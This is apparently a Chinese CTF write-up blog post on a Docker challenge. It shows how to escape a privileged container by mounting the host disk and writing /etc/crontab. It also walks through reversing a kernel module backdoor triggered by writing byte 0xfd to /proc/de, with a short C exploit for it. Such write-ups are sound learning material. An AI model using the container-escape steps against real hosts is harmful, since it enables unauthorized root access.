play_with_docker

play_with_docker

十月 31, 2019

数字云是第一次线下打real world模式,题目质量很高,深感自己所学知识的匮乏,因此特地学习了一波docker相关的知识,其实题目很简单,都怪自己太菜了走入了死胡同

docker在特权模式下启动的逃逸

开启–privileged 的情况下(或者使用—cap-add=SYSADMIN参数启动时)

我们知道在版本6.0以后docker引入了特权模式

特权模式下允许容器内的root几乎拥有外部物理机的root级别权限,而在此之前容器内root用户仅拥有外部物理机普通用户权限。

因此,在开启了privileged的时候,我们就可以通过mount命令将外部宿主的磁盘挂载在容器内部,此时也就获得了宿主机的读写权限

比如我们以特权模式开启一个docker,此时利用 fdisk -l 命令来查看磁盘文件:

1
2
3
4
5
6
7
8
9
10
root@ed1221982ba0:~# fdisk -l
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x6e32e1c3

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 41940991 41938944 20G 83 Linux

此时我们就可以把sda1挂载到我们的容器内

  1. mkdir /xyz
  2. mount /dev/sda1 /xyz

此时我们访问/xyz就可以访问到宿主机了,并且是拥有读写权限的,执行命令我们也可以通过写入 /etc/crontab 文件来执行命令(比如弹计算器QAQ)

数字云线下docker解法

线下的时候里一血和做不出来差了一个字符,导致这篇文章咕咕咕了很久

题目要求是ssh上宿主机起的docker,然后在宿主机弹出计算器即可,给了宿主机启动docker前的的两行命令

1
2
sudo insmod /home/b/de.ko
sudo docker run -itd --privileged -p 0.0.0.0:23:22 d77241e92fe6 /bin/bash -c "/etc/init.d/ssh start;/bin/bash"

一种取巧的做法就是上面描述的使用特权方法,也是我线下时采用的(当时其实应该是成功了,但是环境崩了一度让我以为是我没做对

尝试过的做法,

  1. 直接弹计算器
  2. bash反弹shell
    这两种当时都未成功,第一种是忘了环境变量display(弹GUI程序需要)
    第二种为什么失败就很迷了,但是有师傅用python反弹shell成功了,可能是运气不好吧2333

这里就使用这道题的正规解法来做吧

题目首先挂载了de.ko文件,然后启动了docker,那么肯定是ko文件的问题,我们拉进IDA中对文件进行分析

init_moudle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 init_module()
{
__int64 v0; // rdi
__int64 v1; // rax

_fentry__();
v0 = kmalloc_caches[4];
*(&note + 0x100000000LL) = 0;
v1 = kmem_cache_alloc_trace(v0, 20971712LL, 10LL);
*(_BYTE *)(v1 + 8) = 1;
hack = v1;
proc_create_data("de", 438LL, 0LL, &de_proc, 0LL);
printk("/proc/de created\n", 438LL);
printk("size of cred : %ld \n", 168LL);
return 0LL;
}

copy_overflow

1
2
3
4
5
void __fastcall __noreturn copy_overflow(unsigned int a1, __int64 a2)
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", a1, a2);
BUG();
}

de_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 __usercall de_write@<rax>(__int64 a1@<rbx>, __int64 a2@<rbp>, char *a3@<rsi>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>)
{
char *v6; // rbx
__int64 v7; // rdx
__int64 v8; // r12
__int64 v9; // rsi
char v10; // al
__int64 v11; // rax
__int64 v12; // rsi
__int64 v14; // rax
unsigned int v15; // eax
__int64 v16; // r13
__int64 v17; // r13
const char *v18; // [rsp-40h] [rbp-40h]
__int64 v19; // [rsp-38h] [rbp-38h]
unsigned __int64 v20; // [rsp-30h] [rbp-30h]
__int64 v21; // [rsp-28h] [rbp-28h]
__int64 v22; // [rsp-20h] [rbp-20h]
__int64 v23; // [rsp-18h] [rbp-18h]
__int64 v24; // [rsp-10h] [rbp-10h]
__int64 v25; // [rsp-8h] [rbp-8h]

_fentry__();
v25 = a2;
v24 = a6;
v23 = a5;
v22 = a4;
v21 = a1;
v6 = a3;
v8 = v7;
v20 = __readgsqword(0x28u);
mutex_lock(&lock);
v9 = (unsigned __int8)*a3;
printk("order:%d", v9);
v10 = *v6;
if ( *v6 )
{
if ( v10 == -1 )
{
printk("note write\n", v9);
v17 = *((_QWORD *)&note + 1);
_check_object_size(*((_QWORD *)&note + 1), v8 - 1, 0LL);
copy_from_user(v17, v6 + 1, v8 - 1);
printk("write contents compelete\n", v6 + 1);
}
else if ( v10 == -2 )
{
printk("note write magic %ld\n", v8);
v16 = hack;
_check_object_size(hack, v8 - 1, 0LL);
copy_from_user(v16, v6 + 1, v8 - 1);
}
else if ( v10 != -3 || *(_BYTE *)(hack + 8) )
{
printk("note malloc\n", v9);
note = *v6;
printk("write size compelete\n", v9);
v11 = _kmalloc((unsigned __int8)note, 20971712LL);
v12 = (unsigned __int8)note;
*((_QWORD *)&note + 1) = v11;
printk("malloc size compelete:%d @ %p\n", v12);
}
else
{
v14 = prepare_kernel_cred(0LL);
commit_creds(v14);
v18 = "/usr/bin/gnome-calculator";
v19 = 0LL;
v15 = call_usermodehelper("/usr/bin/gnome-calculator", &v18, envp_26376, 1LL);
printk("RC is: %i \n", v15);
}
}
else
{
printk("note free\n", v9);
kfree(*((_QWORD *)&note + 1));
}
mutex_unlock(&lock);
return v8;
}

de_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall de_read(__int64 a1, __int64 a2)
{
unsigned __int64 v2; // rdx
unsigned __int64 v3; // r12
unsigned __int64 v4; // rbx
__int64 v5; // r12

_fentry__();
v3 = v2;
mutex_lock(&lock);
printk("/proc/de read\n", a2);
v4 = (unsigned __int8)note;
if ( (unsigned __int8)note > v3 )
v4 = v3;
v5 = *((_QWORD *)&note + 1);
_check_object_size(*((_QWORD *)&note + 1), v4, 1LL);
copy_to_user(a2, v5, v4);
mutex_unlock(&lock);
return v4;
}

我们可以看到我们只需要紧盯de_write函数即可,我们只需要让程序跳转到这里就可以调用后门来弹出计算器了

1
2
3
4
5
6
v14 = prepare_kernel_cred(0LL);
commit_creds(v14);
v18 = "/usr/bin/gnome-calculator";
v19 = 0LL;
v15 = call_usermodehelper("/usr/bin/gnome-calculator", &v18, envp_26376, 1LL);
printk("RC is: %i \n", v15);

我们知道在内核中想要获得root权限不能只是用system(“/bin/sh”);而是用下面的语句:

1
commit_creds(prepare_kernel_cred (0));

这个函数分配并应用了一个新的凭证结构(uid = 0, gid = 0)从而获取root权限来执行命令

那么我们该如何跳转到这里呢?
我们可以看到de_write的定义如下:

1
_int64 __usercall de_write@<rax>(__int64 a1@<rbx>, __int64 a2@<rbp>, char *a3@<rsi>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>)

而正常情况下write函数的定义为:

1
ssize_t write(int filedes, void *buf, size_t nbytes);

因此我们不难猜到a3应该就是我们所传入的buf
而我们所关注的只有v6,也就是a3
后面做了一个赋值操作,即

1
v10 = *v6;

首先传入所写值v6,如果v6有值就进行下面的判断,首先如果v10==-1,那么

1
2
3
4
5
printk("note write\n", v9);
v17 = *((_QWORD *)&note + 1);
_check_object_size(*((_QWORD *)&note + 1), v8 - 1, 0LL);
copy_from_user(v17, v6 + 1, v8 - 1);
printk("write contents compelete\n", v6 + 1);

而如果是-2,那么

1
2
3
4
printk("note write magic %ld\n", v8);
v16 = hack;
_check_object_size(hack, v8 - 1, 0LL);
copy_from_user(v16, v6 + 1, v8 - 1);

如果

1
v10 != -3 || *(_BYTE *)(hack + 8)

就运行

1
2
3
4
5
6
7
printk("note malloc\n", v9);
note = *v6;
printk("write size compelete\n", v9);
v11 = _kmalloc((unsigned __int8)note, 20971712LL);
v12 = (unsigned __int8)note;
*((_QWORD *)&note + 1) = v11;
printk("malloc size compelete:%d @ %p\n", v12);

否则才能跳转到我们所需要的逻辑上,而这个hack变量在bss段上,因此我们需要让v10=-1并且

1
*(_BYTE *)(hack+8)==0

迷惑行为2333

其实这里我们直接看汇编部分会更加清楚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
text:0000000000000020                 call    __fentry__
.text:0000000000000025 push rbp
.text:0000000000000026 mov rdi, offset lock
.text:000000000000002D mov rbp, rsp
.text:0000000000000030 push r14
.text:0000000000000032 push r13
.text:0000000000000034 push r12
.text:0000000000000036 push rbx
.text:0000000000000037 mov rbx, rsi
.text:000000000000003A mov r12, rdx
.text:000000000000003D sub rsp, 18h
.text:0000000000000041 mov rax, gs:28h
.text:000000000000004A mov [rbp-28h], rax
.text:000000000000004E xor eax, eax
.text:0000000000000050 call mutex_lock
.text:0000000000000055 movzx esi, byte ptr [rbx]
.text:0000000000000058 mov rdi, offset aOrderD ; "order:%d"
.text:000000000000005F call printk
.text:0000000000000064 movzx eax, byte ptr [rbx]
.text:0000000000000067 test al, al
.text:0000000000000069 jz loc_1D6
.text:000000000000006F cmp al, 0FFh
.text:0000000000000071 jz loc_191
.text:0000000000000077 cmp al, 0FEh
.text:0000000000000079 jz loc_155
.text:000000000000007F cmp al, 0FDh
.text:0000000000000081 jnz short loc_90
.text:0000000000000083 mov rax, cs:hack
.text:000000000000008A cmp byte ptr [rax+8], 0
.text:000000000000008E jz short loc_10E
.text:0000000000000090

只需要调用write函数写入\xfd即可(我可真是个菜鸡

exp如下:

1
2
3
4
5
6
#include <stdio.h>

void main(){
int fd = open("/proc/de", 2);
write(fd, "\xfd", 1);
}

编译运行即可弹出计算器

这里记录一个脚本可以实时查看内核的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>

int compareFile(FILE *old, FILE *new);

int main()
{
FILE *new;
FILE *old;
int lRet;
static first = 0;

system("touch file_new");
system("touch file_old");

new = fopen("file_new", "rw");
old = fopen("file_old", "rw");

while(1)
{
sleep(1);
system("dmesg > file_new");

if (first == 0)
{
system("cp file_new file_old");
first++;
continue;
}

new = fopen("file_new", "rw");
old = fopen("file_old", "rw");

if (compareFile(new, old) == 0)
{
fclose(new);
fclose(old);
continue;
}
else
{
fclose(new);
fclose(old);

system("diff file_new file_old");
system("cp file_new file_old");
}
}
return 0;
}


int compareFile(FILE *old, FILE *new)
{
char c1;
char c2;

while(!feof(old) && !feof(new))
{
c1 = fgetc(old);
c2 = fgetc(new);

if (c1 != c2)
{
return -1;
}
}

if ((c1 == EOF)&&(c2 == EOF))
{
return 0;
}
return -1;
}

编译运行并跑起来即可

总结

遇到之前没遇到的东西一定不能能慌,说不定非常简单(我真是个菜鸡hhh

F5大法得到的东西诡异不如直接阅读反汇编代码

不过也学到了如何与linux后门进行交互,感谢出题人的良苦用心

原文链接:https://nightrainy.github.io/2019/10/31/play-with-docker/